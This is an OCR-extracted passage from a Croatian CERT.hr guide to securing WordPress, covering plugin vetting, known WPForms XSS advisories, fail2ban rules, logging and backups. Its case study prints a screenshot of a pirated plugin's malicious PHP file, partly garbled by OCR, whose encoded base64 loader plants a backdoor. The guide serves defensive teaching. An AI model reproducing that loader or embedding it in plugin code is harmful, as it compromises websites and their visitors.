njihove ranjivosti. Prije koriStenja odredene teme ili dodataka, ovdje mozemo
provijeriti postoji li neka javno poznata ranjivost.

o alati za skeniranje zlonamjernog softvera na stranici
- za koriStenje su dostupni razni alati i dodaci za skeniranje zlonamjernog
softvera na WordPress stranicama. Ako pronadu zlonamjerni kdd, obavijestit ¢e
korisnika i ponuditi mu opciju uklanjanja zlonamjernih datoteka. Jedan primjer
takvog alata je Sucuri Security.
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¢ recenzije i komentari ostalih korisnika
- svi pouzdani izvori s kojih moZemo preuzimati teme i dodatke omogucuju
korisnicima da ostave recenzije o temi ili dodatku. Ce$ée instalirani, vise
recenzirani i ocijenjeni boljom ocjenom dodaci i teme se rangiraju na prva
mjesta rezultata pretrage.

Iako to korisnici Cesto izbjegavaju iz straha da ¢e se poremetiti funkcionalnosti stranice,
sve koriStene teme i dodatke treba redovito aZurirati jer i naocigled sigurne teme i dodaci
mogu imati ranjivosti.

Ako bismo htjeli ugraditi obrazac za kontakt (engl. contact form) na stranicu, moZemo
pretraziti dostupne dodatke u WordPressovom repozitoriju klikom na stavku
navigacijskog izbornika , Plugins“ i unosom kljucne rijeci ,form“ u traZilicu.

= O X
@ Add Plugins < Web stranica — W X +
< C A Notsecure | 192.168.56.101/wordpress/wp-admin/plugin-install.. & ¥ S o Eﬂﬂ e
#4 Web stranica 4 New Howdy. korisnik1 .

DD Add Plugins | upioad Plugin
Posts
Search Results Featured Popular Recommended Favorites
7 Media
Pages Keyword w || form |
Comments
9,000 iterns | of 250 I:\
Appearance
K¢ Plugins Contact Form 7 Contact Form by
3 WPForms - Drag &
staller ins nstall Mow “ore Details .
ntalled Flugin e e . X Drop Form Builder
Add New Just another contact form plugin. for WordPress
Plugin Editor \ Simple but il wpforms
| Ay More Details
. e By Takayuki Miyoshi
o e The best WordPress contact form
.)_ Tools plugin. Drag & Drop online form
{1,700) Last Updated: 2 months ago builder that helps you creats
beautiful contact f = with just
S+ Million Active Installations v Compatible with your SR cantac Tarms Wk Just 3

. 2 few clicks.
version of WordPresz

By WPForms

[5.654) Last Updated: 13 hours

3+ Million Active Installations v Compatible with y

version of WordPress

Calculated Fields
Form

Ninja Forms — The
Easy and Powerful

N Forms Builder
More Details
NINJAFORMS P
nstall Mow More Details
Calculated Fields Form is a plugin
Minja Forms is an easy to use drag for creating forms with

and drop form builder with an ynamically calculated fields and

ntuitive Ul that can be usad to

ormis, email

freate contac

o By CodePeople
subscription forms, lead ...

B The WD Ninigs
By The WP Ninjas

(531) Last Updated: 3 days ago

Slika 17 Rezultati pretrage dodataka za izradu obrazaca
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Kao Sto vidimo na slici 17, postoji 9.000 rezultata pretrage, $to znaci da postoji velik broj
dodataka povezanih s obrascima.

Dodatak naziva ,Contact Form by WPForms"“ od svih prikazanih ima najbolju ocjenu i
najveci broj recenzija, a isto tako je i nedavno aZuriran (prije 18 sati) i na temelju toga
bismo ga mogli smatrati pouzdanijim dodatkom u odnosu na ostale.

Dodatke koji imaju malen broj instalacija, loSe ocjene ili dugo nisu aZurirani nije pozeljno
instalirati ako postoji bolja alternativa.

Na stranici https://wpvulndb.com/ moZemo provjeriti koje su javno poznate ranjivosti
koje se odnose na dodatak wpforms i usporediti odnose li se na inacicu koju smo instalirali
na stranicu (1.6.1).

&« C {0 & wpwindb.com/search?text=wpforms % g gt » Q :

O VYouTube [ Linkedin 9 Facebook lfJ SCumM G Programmers l:] My New Work ltems lfJ My Active Work Ite... » Other bookmarks

wpforms SEARCH

[hvvpforms ] [ v]

ID Added Title
10286 2020-07-01 WPForms < 1.6.0.2 - Authenticated Stored Cross-Site Scripting (XSS)
10114 2020-03-05 WPForms < 1.5.9 - Authenticated Cross Site Scripting (XSS)
9164 2018-12-10 WPForms < 1.4.8.1 - Unauthenticated Cross-Site Scripting (XSS)
WP Mail SMTP by WPForms <= 1.3.3 - Authenticated Stored Cross-Site
Scrip...
91566 2018-12-06 WPForms < 1.4.8 - Authenticated Stored Cross-Site Scripting (XSS)

9158 2018-12-06

Slika 18 Javno poznate ranjivosti za dodatak wpforms

Neki dodaci su ¢ak ciljano razvijeni kao zlonamjerni dodaci koji ¢e, ako ih administrator
instalira na stranicu, napasti stranicu i/ili njene korisnike.

Jedan aktualan primjer dogodio se poCetkom 2020. godine (7):

1. Usred pandemije uzrokovane virusom COVID-19 razvili su se razni dodaci koji
nude graficki i numericki prikaz statistika o zaraZenima (sl. 19). Ovakvi su dodaci
Siroko koriSteni, pogotovo na portalima s novostima.

Verzija 1.00 CERT.hr-PUBDOC-2021-6-402 stranica 20 / 29


https://wpvulndb.com/

C=RT.hr

2.

Coronavirus Statistic

CASES DEATHS RECOVERED
Worldwide 183,805 +1,518 7,162 +49 79,980 +2,040
£ usa 4.743 +80 93 +7 74 +39
@ china 80,884 +21 3,226 +13 68,869 +123
() nay 27,980 2,158 +123 2,749
& lran 14,991 853 4,996
. South Korea 8.320 +84 81 +6 1,401
< spain 9,942 342 530
® Germany 7.272 +316 17 67
() Franch 6,653 148 12
P ouatar 4,661 2 40

Slika 19 Primjer prikaza statistike o Sirenju COVID-19 putem dodatka (8)

Neki od takvih komercijalnih dodataka mogli su se kupiti na pouzdanim
specijaliziranim stranicama poput npr. envatomarketa. No, uskoro su se pojavile
njihove besplatne piratizirane alternative.

Oni koji su instalirali piratizirane dodatke ubrzo su otkrili da su dodaci u stvari
sadrzavali datoteku class.plugin-modules.php (sl. 20) u kojoj se nalazio
zlonamjerni kod.

3 class.plugin-modules.php - Notepad2
File Edit View Settings 2
DE@d| | % Gaca|an s

1l<?php
2

3//install_codel El
s error_reporting(0); |
sini_set('display_errors', 0);

6//inst_21

Q@ ke

-

1PREELTUR
0e114Tmp

8

9

10 DEFINE('MAX_LEVEL', 2);

11 //RXdjRXRSYIBWRFVXdETtRMUZyU2tC

12 DEFINE ('MAX_ITERATION', 50);

13 //yu2tow PRMEZuulvoQl

14 DEFINE('P', $_SERVER['DOCUMENT_ROOT']);

15 //UWtKQldsbulDaFYKaw5pX3NTdCgnz

16

17 $GLOBALS[ 'WP_CD_CODE'] =
' PD9waHAKZXJyb 33 fcmvwb 310aw5nKDApOwovL 1BDUWEKQ1doaGMyVWdKMk 5 viwvclb Tpwowt iMjFoYVcObk93b0pDUwWtKQldsbu1DaF YKaw5pX3N1dCgnzG
1zcGxheV91cnIvenMnLCAWKTSKLY9kcFppQw9IV1Z0YOhSNUtDUmMZValzsVv1UKCgkkaw5zdGFsbF9jb2R1ID0gI1BEOXdhSEFLTHK5VOOXCEhPWFJaVv]jJ4m
VNGRXdjRXRSYJFBWRFVXdE tRMUZyU2 tOWwWMwdE pRME ZuU1V0Q 1 owbERDbWX tSUNoCGMZTmxkQ2d rwDFKRTVWVkZVYMVIiS]jIGamRHbHZiawRkS1INBbUppQNBj
MO5s5ZENnalgxSkzVvV1ZGVTFSYkozQmhjM04zYjNKaOoxMHBIQ1 1tSUNnalgxSkz\vV1ZGVTFSYkozQmhjM04zYjNKa0oxMGdQVDBNSjNzalVFRTRVMWRQVWE
SOUp5a3BDZ2w3Q215a2FYwmzZzMj 1rw1Y5dVv1XMwxQUOozY0Y5MTkyuw1Pd29KQ1hOM2FYUmphQOFvSkY5U1JWR1ZSVk5VV31kaFkzUnBiMjRUWFNrSONRaO
p1d29LQ1FrSkNRbOtDZ29LQ1F rSkNXTmhjM1VnSjJObLTXNW5aVj1rYjIxaGFXNG5Pd29KQLF rSkNXbG1IQ2hwYzNObGRDZ2tYMUPGYVZWR TUXUMIKMIVsZ
DISdmIXRnB1awRkSINrSONRaOpDUWEKZXdvSKkNRaOpDUWtKQ2drSkNRaOpDUWxwwWm1BbO1XVNRjSFI1SONSZ1VrV1IwvvzZuvkzzbmItViNarRz10wvdsduox
MHBLUWIKQLF rSkNRaOpDWHNL SUNBZ01DQWdIQOFnSUNBZ01DQWdIQOFnSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOF
NSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ2FXwWWdLQ1ItYVd4bE 1EMGARR1pwYkdwWZ1oyViBYMk52Ym5ShGIuUnpLRj TmUmts TVIWOWZLU2tLQLFrZ0
1DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIS
HNLSUNBZ0T1DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNB
Z01DQwdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIR2XtSOhCeVpXZGZiVOYWWTI0Z11XeHNLQ2N2WENSMGI YQmpiMjUwW1c1ME TEMGd
RR1pwYkdwZ1oyViBYMk52Ym5ShGIuUnpYQ2dpYUhSMGNECGNMMXd2SOMOCUtWd3ZZMj 1rw1Z3dwNHaHdMMmtuTENSbWFXeGxMQ1J0wVhSamFHOXNaR132Y1
dGcGIpa3BDaUFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZ01DQWdIQOFNSUNBZO1DQ _

dEpRM

Ln1:231 Coll SelO 343K8 ANSI CR+LF INS Web Source Code

Slika 20 Datoteka sa zlonamjernim kédom (7)
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4. Zlonamjerni dodatak je kompromitirao dotad legitimnu stranicu dodavanjem
zlonamjernog koda u sve instalirane teme i razne PHP datoteke pohranjene na
posluZitelju i na taj je nacin stvorio backdoor i preuzeo kontrolu nad stranicom.

5. Ono Sto je na prvi pogled izgledalo kao usSteda, pretvorilo se u katastrofu jer je
dodatak napadao posjetitelje stranice zlonamjernim oglasavanjem (koje moZe
rezultirati instalacijom zlonamjernog softvera na racunalo) i preusmjeravao ih na
druge stranice kako bi se tim stranicama povecala posjec¢enost.

3.4 fail2ban

FailZ2ban je softverski dodatak vatrozidu koji omogucuje automatsku detekciju i izolaciju
odredenih napada na sustav.

Fail2ban, jednako kao $to to rade i sistemski administratori, ¢ita dnevnike na posluzitelju
te nakon odredenog broja ,ilegalnih® tj. zZlonamjernih radnji prilagodava pravila vatrozida
kako bi izolirao i sprijeCio nastavak napada.

lako je fail2ban namijenjen operacijskim sustavima Linux (i korisno ga je na njega
instalirati), postoji i dodatak za WordPress naziva WP fail2ban iste namjene. OpcCenite
informacije o failZbanu mogu se pronaci u dokumentu Nacionalnog CERT-a Fail2Ban.

WP fail2ban dolazi s tri konfiguracijske datoteke - hard, soft i extra, a odnose se na razinu
strogoce sankcije kao odgovor na nedozvoljeno ponaSanje. Npr. hard razina ¢e odmah
blokirati daljnji pristup IP adresi s koje je nedozvoljeni zahtjev dosao, a soft razina ce
dopustiti nekoliko nedozvoljenih ponasSanja, ali ¢e u jednom trenutku reagirati kad
koli¢ina nedozvoljenog ponasanja prijede definiranu granicu (npr. 10 neuspjelih pokuSaja
prijave).

Na slici 21 prikazane su definirane razine sankcija za odredeno nepoZeljno ponasanje.
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Custom Filters

Download or View ¥y wordpress-custom-hard.conf (8 rules)

Yy wordpress-custom-soft.conf (3 rules)

Ty wordpress-custom-extra.conf (7 rules)
Generate Filters
Add new filter filter name Add Filter
Rules

® 2
oy

Authentication attempt for unknown user .* from <HOST> L
REST authentication attempt for unknown user .* from <HOST=> L

XML-RPC authentication attempt for unknown user .* from <HOST> ' ®

Spam comment \d+ from <HOST=> L

Blocked user enumeration attempt from <HOST> L

Blocked authentication attempt for .* from <HOST> L
XML-RPC multicall authentication failure from <HOST=> .

Pingback error .* generated from <HOST> .
Authentication failure for .* from <HOST> L
REST authentication failure for .* from <HOST> L
XML-RPC authentication failure for .* from <HOST> L]
Comment \d+ from <HOST=> L
Comment post not found \d+ from <HOST> .
Comments closed on post \d+ from <HOST> L)
Comment attempt on trash post \d+ from <HOST=> L)
Comment attempt on draft post \d+ from <HOST> .
Comment attempt on password-protected post \d+ from <HOST=> L)
Password reset requested for .* from <HOST> .

Slika 21 Primjer konfiguracije WP fail2ban dodatka (9)

3.5 Zapisivanje aktivnosti u dnevnike

Aktivnosti koje se dogadaju na stranici mogu se zapisivati u dnevnike, skupa s dodatnim
podacima, npr. koji je korisnik izveo koji akciju ili s kojih su se IP adresa klijenti spajali na
posluzitelj. Vodenje dnevnika olakSava kontrolu nad dogadajima na stranici i
pomocu dnevnika se moZe otkriti Sto se dogodilo uslijed neoc¢ekivanog ponasanja
stranice.

Jedan tipic¢an scenarij napada u kojem bi vodenje dnevnika bilo od koristi je:

1. Napadac pokuSava izvesti napad uzastopnim pokusajima pogadanja lozinke (engl.
brute-force attack).
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2. U dnevnik se zapisuju sve aktivnosti pokuSaja prijave. Administrator sustava
uocava velik broj pokusaja prijave s razli¢itim kombinacijama korisnickih imena i
lozinki i shvaca da se dogodio/dogada napad.

3. Administrator moZe (znajuci $to se dogodilo) instalirati neki dodatak za zaStitu
kako se napad ne bi ponovio, blokirati racun napadnutog korisnika i obavijestiti ga
da mu je racun kompromitiran (ako je napadac uspio pogoditi neku kombinaciju).

Jedan primjer dodatka za zapisivanje aktivnosti u dnevnik je WP Activity Log koji postoji
u besplatnoj i komercijalnoj (s viSe funkcionalnosti) inacici. Na slici 22 prikazan je dnevnik
koji pregledno prikazuje obavijesti o aktivnostima na stranici:

@ & mysites @& WPWhite Hat Network B8 0 4 New @

el  Audit Log Viewer
‘ Al Sites v |
»
|:‘|: D Severity nfo Site Message
]
™ 2100 @ Date: 01-09-2020 SITE TWQO Message: Opened the post Activity logs improve WordPress admin tasks in the editor
Time: 10:32 am ID:6
> User: Giovanni Storti Type: post
Author Status: published
= 1P: 42203 View post in the editor
. Object: Post
= Event Type: Opened
&
5 2065 & Date: 01-09-2020 SITE TWO Message: Modified the centent of the post Activity logs improve WordPress admin tasks
(/] Time: 10:32 am ID:6
User: Giovanni Storti Type: post
"] Author Status: published
1P: 42203 View the content changes
Object: Post View post in the editor

Event Type: Modified

2100 @ Date: 01-09-2020 SITE FOUR Message: Opened the post Sample Page in the editor
Time: 10:31 am ID:2
User: Luca Nervi Type: page
Editor. Status: published
Superadmin pwhitehat.com/sample-page/
1P: 12.6.16.2
Object: Post

Event Type: Opened

Slika 22 Primjer prikaza zapisa u dnevniku (10)

3.6 Pricuvne kopije

Redovita izrada pricuvnih kopija trebala bi biti uobicajena praksa za svaku web
stranicu jer se, ako nesto pode po zlu, uvijek moze vratiti na prethodno spremljeno
stanje.

Dostupni su razni komercijalni i besplatni dodaci za izradu pricuvnih kopija, a medu njima
je trenutno najkoriSteniji i najbolje ocijenjen UpdraftPlus koji je instaliran na viSe od dva
milijuna web stranica. Postoje besplatna i komercijalna inacica (s viSe funkcionalnosti).

Na slici 23 prikazane su neke od postavki prilikom konfiguracije dodatka:
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Backup / Restore Migrate [ Clone Settings Advanced Tools Premium [ Extensions
Files backup schedule: Weekly % and retain this many scheduled backups: 2
Database backup schedule: Weekly % and retain this many scheduled backups: 2

To fix the time at which a backup should take place, (e.qg. if your server is busy at day and you want to run
overnight), or to configure more complex schedules, use UpdraftPlus Premium

Choose your remote storage - -
(tap on an icon to select or @ |— ETP |—
unselect): 3 3
S3-Compatible (Generic)
ol
Dropbox .. Microsoft Azure u
. OpenStack [Swift)
Amazon 53 |— SFTP { SCP
DreamObjects
@ Rackspace Cloud Files > Google Cloud
Email
L Google Drive $ Backblaze

& Microsoft OneDrive m WebDAV

You can send a backup to more than one destination with an add-on.

If you choose no remote storage, then the backups remain on the web-server. This is not

recommended (unless you plan to manually copy them to your computer), as losing the web-

server would mean losing both your website and the backups in one event.
Include in files backup: ¥ Plugins

v'| Themes

v Uploads

Exclude these: backup**backups,backwpup*wp-clone,snapshots
V| Any other directories found inside wp-content
Exclude these: upgrade,cache,updraft,backup**backups, mysql.sql,debug.log

The above directories are everything, except for WordPress core itself which you can download afresh
from WordPress.org. See also the "More Files" add-on from our shop.

Slika 23 Konfiguracija dodatka UpdraftPlus za izradu pric¢uvnih kopija

Kao Sto vidimo, moguce je odabrati uCestalost izrade pricuvnih kopija, lokaciju na koju ¢e
se spremiti kopija i $to sve treba ukljuciti, a Sto treba iskljuciti iz pricuvne kopije.

Kompletna pri¢uvna kopija stranice moZe se spremiti na racunalo ili u oblak (engl. cloud).

Osim izrade pricuvnih kopija, UpdraftPlus nudi i jednostavan oporavak sustava na stanje
koje pohranjuje pricuvna kopija (engl. restore).

Prilikom oporavka sustava mogu se odabrati dijelovi sustava koji se Zele vratiti na stanje
spremljeno u pricuvnoj kopiji (sl. 24).
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Restore backup ®

Restore backup from: 2013-03-16 20:36

Restoring will replace this site's themes, plugins, uploads and/or other
content directories (according to what is contained in the backup set, and
wour selection). Choose the components to restore:

U Themes
[ others

‘l Restore | ‘ Cancel ‘
| I o

Slika 24 Oporavak stranice iz pri¢uvne kopije (11)

VerzZja100 ~ CERThr-PUBDOC-2021-6-402 ~  stranica 26 /29



C=RT.hr

4 Zakljucak

WordPress je najkoriSteniji CMS i u njemu je razvijeno oko 42% svih trenutno postojecih
web stranica. Svoju popularnost duguje jednostavnosti koriStenja i brzini razvoja stranice
- jednostavna stranica moZe se razviti u svega nekoliko sati.

Njegova se arhitektura temelji na softveru otvorenog koda (Apache/NGINX, PHP,
MariaDB) i mnos$tvu dodataka koji pruzaju razne funkcionalnosti.

Umjesto poznavanja HTML, CSS, PHP i SQL tehnologija, administrator WordPress stranice
mora samo odabrati i instalirati potrebni dodatak. Skoro sve funkcionalnosti koje su
potrebne prosjecnoj web stranici su dostupne putem dodataka i jednostavno ih je koristiti
jer su dobro dokumentirane i same navode korisnika koji sljedeci korak treba napraviti.

No, upravo popularnost i Siroka KkoriStenost WordPressa ¢ine ga idealnom metom za
napadace, pogotovo ako se uzme u obzir da WordPress stranice mogu razvijati i osobe koje
se slabo razumiju u web i sigurnost opcenito.

Napadaci imaju velik interes za pronaci i iskoristiti ranjivosti te neprekidno napadaju
WordPress stranice i njihove korisnike, pri ¢emu se preteZito oslanjaju na:

- koriStenje neazuriranih (ranjivih) inacica WordPressa ili povezanog softvera,
- koriStenje neazuriranih, zastarjelih, zlonamjernih ili ranjivih tema ili dodataka,
- nedostatak zaStite od preuzimanja korisnickih racuna (npr. brute-force attack)

Postoji mnosStvo korisnih dodataka koji se mogu koristiti za poboljSanje sigurnosti
WordPress stranica i najvaznije vrste su predstavljene u ovom dokumentu.

Generalni savjeti kojih se treba pridrzavati kako bi se minimizirao rizik od napada su:

e WordPressipripadajudi softver treba redovito aZurirati i ne koristiti inacice za koje
viSe ne postoji podrska, tj. ne izdaju se sigurnosne zakrpe,

e PosluZiteljski softver, bazu podataka ili WordPress nikad ne smije pokretati root
korisnik ili neki drugi korisnik koji moZe pristupati drugim dijelovima
operacijskog sustava. U tom bi slucaju napadac, ako uspije napasti WordPress,
uspio preuzeti kontrolu nad cijelim rac¢unalom ili jo§ nekim njegovim procesima.

e Dodaci i teme koje odrzava WordPress ili se nalaze na pouzdanim stranicama su
razvijeni s najboljom namjerom, temeljito provjereni i redovito odrZavani.
Nasuprot njima, postoje razne sumnjive teme i dodaci koji mogu biti cak namjerno
razvijeni da budu ranjivi, mogu biti slabo testirani ili ih je mozda razvio netko tko
nije uzeo u obzir sigurnost. Takve teme i dodatke treba izbjegavati, tj. teme i
dodatke treba preuzimati samo sa sigurnih izvora.

e Tvornic¢ka inacica i postavke WordPressa nemaju nikakvu politiku za zastitu
korisnic¢kih racuna. To je vrlo opasno ako uzmemo u obzir da je korisnicima
dozvoljeno postaviti lozinke poput ,lozinka123“ koje su vrlo nesigurne i napadac
ih jednostavno moZe pogoditi. Za dodatno osiguravanje korisnic¢kih ra¢una mogu
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se koristiti neki dodaci za postavljanje sigurnosne politike lozinki, sprjecavanje
napada uzastopnim pokuSajima pogadanja lozinke ili dvofaktorsku autentifikaciju.

e Mogu se koristiti dodaci poput WP failZban kako bi se pratilo Sto se dogada u
sustavu i pravovremeno reagiralo na potencijalni napad.

No, uvijek treba biti spreman na ¢injenicu da moZemo postati Zrtva napada i zato je bitno
redovito izradivati pricuvne kopije (engl. backups) iz kojih se stranica moZe oporaviti i
zapisivati aktivnosti u dnevnik kako bi se moglo utvrditi kako je do napada uopce doslo.

Primjenom ovih savjeta WordPress moZe postati vrlo siguran za koriStenje, a ¢ak i u

slu¢aju napada se vrlo brzo moZe ponovno uspostaviti ¢ista i sigurna verzija. Sve to moZze
uciniti i osoba koja nije specijalizirana za racunalnu sigurnost.
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